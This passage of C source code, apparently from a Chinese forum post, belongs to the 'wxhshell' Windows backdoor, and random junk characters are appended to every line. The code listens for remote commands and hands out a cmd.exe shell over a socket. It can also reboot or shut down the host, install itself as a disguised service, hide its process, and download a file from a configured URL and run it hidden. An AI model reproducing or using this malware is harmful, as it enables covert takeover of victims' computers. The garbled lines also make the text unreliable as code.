  } J!hFN]M<<  
  else { }3Y <$YL"R  
WULAty  
    switch(cmd[0]) { zBY~lNB  
  fN)x#?  
  // 帮助 v^SsoX>WMH  
  case '?': { *%\mZ,s"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nA_%2F'W}  
    break; x7dEo%j  
  } sWHyL(C@  
  // 安装 6)}B"Qd  
  case 'i': { Z/<#n\>t0>  
    if(Install()) ?^u^im  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OQp, 3 M{_  
    else &nY;=Hv`WY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zw{MgoJ0Z  
    break; V}" g~=  
    } 83 I-X95  
  // 卸载 PcC/_+2  
  case 'r': { kz B\'m,l  
    if(Uninstall()) m\ S\3n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c8Z A5|  
    else V.6)0fKZW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3[d>&xk@$  
    break; 1J{fXh  
    } ST Z]8cw  
  // 显示 wxhshell 所在路径 y$b]7O  
  case 'p': { T95t"g?p  
    char svExeFile[MAX_PATH]; pKT2^Q}-h  
    strcpy(svExeFile,"\n\r"); Eectxyr?;N  
      strcat(svExeFile,ExeFile); C ^w)|2o}  
        send(wsh,svExeFile,strlen(svExeFile),0); TL0[@rr4  
    break; '<dgT&8C  
    } mwC=o5O  
  // 重启 C <B<o[:H  
  case 'b': { T2FE+A]n9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~"K ,7sw!Y  
    if(Boot(REBOOT)) AjkW0FB:1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }%TPYc  
    else { G2:%g(  
    closesocket(wsh); uw AwWgl  
    ExitThread(0); =*Z5!W'd  
    } ;_O)p,p  
    break; s?rBE.g@}  
    } A+getdr  
  // 关机 F;q#&  
  case 'd': { #Sh <Ih  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YXW%]Uy+  
    if(Boot(SHUTDOWN)) ^D{lPu 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ABh&X+YD  
    else { ][&9]omB  
    closesocket(wsh); (R!hjw~  
    ExitThread(0); ?D`T7KSe~D  
    } Oy57$  
    break; %NHkDa!  
    } fCWGAO2  
  // 获取shell |7k_N|E  
  case 's': { T;5r{{  
    CmdShell(wsh); MGJ.,tK1  
    closesocket(wsh); a<~77~"4wn  
    ExitThread(0); ocz G|_  
    break; %]2, &  
  } )2IH 5  
  // 退出 ?9{~> 4@  
  case 'x': { *{ {b~$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N$>^g"6 o  
    CloseIt(wsh); r SkUSe6  
    break; ` Ag{)  
    } 7!WA)@6  
  // 离开 2-N 'ya  
  case 'q': { )3Z ^h<"j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BZ!v%4^9  
    closesocket(wsh); }7E^ZZ]f  
    WSACleanup(); V w||!d  
    exit(1); @a:>$t  
    break; Y_woKc*  
        } anMF-x4/*q  
  } Eow_&#WW;P  
  } ="wzq+U  
{(U %i\F\  
  // 提示信息 W\&8au ds  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i0$Bx>  
} ojvj}ln  
  } SN7"7joP<  
Ms~{9?  
  return; 2EZb )&Q  
} - K9c@?  
tg]x0#@s  
// shell模块句柄 ~cTN~<{dq  
int CmdShell(SOCKET sock) {M-YHX>*;g  
{  ks$JP6  
STARTUPINFO si; )E@A0W  
ZeroMemory(&si,sizeof(si)); S4=~`$eP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QUU;g2k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g35DV6  
PROCESS_INFORMATION ProcessInfo; x=ul&|^7D  
char cmdline[]="cmd"; 3)\8%Ox  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]o cWt3|  
  return 0; vnWWneeNr  
} KMI_zhyB  
3|.um_  
// 自身启动模式 ~HOy:1QhE=  
int StartFromService(void) Zt.'K(]2h  
{ DxUKUE  
typedef struct QUu}Xg:  
{ sCR67/  
  DWORD ExitStatus; X!e[GJ  
  DWORD PebBaseAddress; 'nXl>  
  DWORD AffinityMask; 0T Q$C-%  
  DWORD BasePriority; O3I8k\`  
  ULONG UniqueProcessId; VeW>[08  
  ULONG InheritedFromUniqueProcessId; %Ev4]}2C1  
}   PROCESS_BASIC_INFORMATION; zIh ['^3.n  
j#cYS*^H  
PROCNTQSIP NtQueryInformationProcess; xuqv6b.  
9 FB19  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {q"OM*L(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E[/\7 v\  
spt6]"Ni  
  HANDLE             hProcess; 1v71rf&w  
  PROCESS_BASIC_INFORMATION pbi; bD/~eIcWL  
Y;?{|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S:h{2{  
  if(NULL == hInst ) return 0; :]\([Q+a  
|Y?H A&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BO;6 u^[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3j\1S1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FoN|i"*l  
7@D@ucL  
  if (!NtQueryInformationProcess) return 0; Mu+0<>   
'.:z&gSqx0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vEJWFoeEFm  
  if(!hProcess) return 0; wne,e's}   
OX\A|$GS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -*1J f&  
>m$1Xx4#GV  
  CloseHandle(hProcess); 9[<)WQe6M  
}H^+A77v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E=nIRG|g  
if(hProcess==NULL) return 0; bbE!qk;hEP  
!2ZF(@C /  
HMODULE hMod; { \81i8b]  
char procName[255]; U/!TKic+  
unsigned long cbNeeded; _h{C_;a[_  
F(>Np2oi6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N sXHO  
Q+[n91ey**  
  CloseHandle(hProcess); RoPRQCE  
=l+yA>t|  
if(strstr(procName,"services")) return 1; // 以服务启动 Y3Yz)T}UkS  
)Y"+,$$>Y`  
  return 0; // 注册表启动 `sn^ysp  
} '=b/6@&  
V<GHpFi0  
// 主模块 G?O1>?4C  
int StartWxhshell(LPSTR lpCmdLine) d3\qKL!~  
{ c2l@6<Ww  
  SOCKET wsl; F3On?x)  
BOOL val=TRUE; k\5c|Wq|g  
  int port=0; 9jM}~XvV  
  struct sockaddr_in door; C5o#i*|  
'jWr<]3  
  if(wscfg.ws_autoins) Install(); | )K8N<n  
;U/&I3dzV  
port=atoi(lpCmdLine); Z^3rLCa  
>g1~CEMN#  
if(port<=0) port=wscfg.ws_port; :CG`t?N9M  
+$ 'Zf0U  
  WSADATA data; hOjk3 k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZMQ Zs~;~d  
(7wc*#}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M?1Y,5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y%"{I7!A  
  door.sin_family = AF_INET; W+I!q:p4H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SW@$ci  
  door.sin_port = htons(port); (KjoSN( K  
<? q?Mn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~!B\(@GU  
closesocket(wsl); IaSR;/  
return 1; ,LHn90S  
} ;17E(tl  
jys:5P  
  if(listen(wsl,2) == INVALID_SOCKET) { {'7B6  
closesocket(wsl); kMIcK4.MH  
return 1; <}C oQz  
} xQ f*  
  Wxhshell(wsl); }|h# \$w  
  WSACleanup(); R`NYEptJ  
3Z>Ux3[  
return 0; YL!P0o13r  
(nQ^  
} KI"#f$2&  
Snj'y,p[  
// 以NT服务方式启动 5'OrHk;u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g|o,uD  
{ yb<fpM  
DWORD   status = 0; zVViLUwG  
  DWORD   specificError = 0xfffffff; lU8l}Ndz"  
?>7[7(|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W: z6Koc0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ogqj?]2QC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j*|VctM  
  serviceStatus.dwWin32ExitCode     = 0; yuh *  
  serviceStatus.dwServiceSpecificExitCode = 0; owVX*&b{  
  serviceStatus.dwCheckPoint       = 0; tH!]Z4}u  
  serviceStatus.dwWaitHint       = 0; 2=*H 8'k  
1KU! tL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XY5K%dMU  
  if (hServiceStatusHandle==0) return; ahusta  
Ki;*u_4{  
status = GetLastError(); O %\*@4zM  
  if (status!=NO_ERROR) j * %  
{ `}p0VmD{NE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !Jo_"#5  
    serviceStatus.dwCheckPoint       = 0; _P!m%34|  
    serviceStatus.dwWaitHint       = 0; * ` JYC  
    serviceStatus.dwWin32ExitCode     = status; '+@=ILj>  
    serviceStatus.dwServiceSpecificExitCode = specificError; aS>u,=C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Na<pwC  
    return; em y[k  
  } ))qy;Q,  
esJ~;~[@(r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l|u>Tb|V  
  serviceStatus.dwCheckPoint       = 0; })'B<vq  
  serviceStatus.dwWaitHint       = 0; b!+hH Hv:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z3Og=XHR  
} u^&^UxCA  
A[B<~  
// 处理NT服务事件,比如:启动、停止 ?w$kue  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G?yLo 'Ulo  
{ _5w]a 2  
switch(fdwControl) ___~D dq  
{ 2_>N/Z4T  
case SERVICE_CONTROL_STOP: ~?l | [  
  serviceStatus.dwWin32ExitCode = 0; b]e"1Y)D-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %7hrk  
  serviceStatus.dwCheckPoint   = 0; z[ N`s$;  
  serviceStatus.dwWaitHint     = 0; }H53~@WP>  
  { r-,%2y?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gM&{=WDG6  
  } Usvl}{L[  
  return; :'Vf g[Uq  
case SERVICE_CONTROL_PAUSE: td$E/h=3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <|HV. O/!  
  break; 7P } W *  
case SERVICE_CONTROL_CONTINUE: 'B |JAi?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]U+ LJOb  
  break; xR~h wj  
case SERVICE_CONTROL_INTERROGATE: GblA9F7  
  break; "69s) ~  
}; J4hL_iCQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KM, \  
} !t"4!3  
y RqL9t  
// 标准应用程序主函数 #<fRE"v:Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aj='b.2)  
{ PI {bmZ  
Xg6Jh``  
// 获取操作系统版本 1er TldX  
OsIsNt=GetOsVer(); ijv(9mR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {p2!|A&a  
 $c!p&  
  // 从命令行安装 v&\Q8!r_  
  if(strpbrk(lpCmdLine,"iI")) Install(); <sbu;dQ`  
70?\ugxA  
  // 下载执行文件 f_OQ./`  
if(wscfg.ws_downexe) { =IZT(8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M/f<A$xx_  
  WinExec(wscfg.ws_filenam,SW_HIDE); 38B2|x  
} @mCEHI{P  
&u."A3(  
if(!OsIsNt) { zpn9,,~u  
// 如果时win9x,隐藏进程并且设置为注册表启动 7sCG^&Y  
HideProc(); h,:m~0gmj  
StartWxhshell(lpCmdLine); LBeF&sb6  
} |d2SIyUc  
else P}}* Q7P  
  if(StartFromService()) (XTG8W sN  
  // 以服务方式启动 K8|r&`X0  
  StartServiceCtrlDispatcher(DispatchTable); ELoDd&d8  
else z _$%-6  
  // 普通方式启动 $S6`}3  
  StartWxhshell(lpCmdLine); dl)Y'DI  
Qp5VP@t  
return 0; -m zIT4  
}
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只看该作者 1 发表于: 2006-10-10
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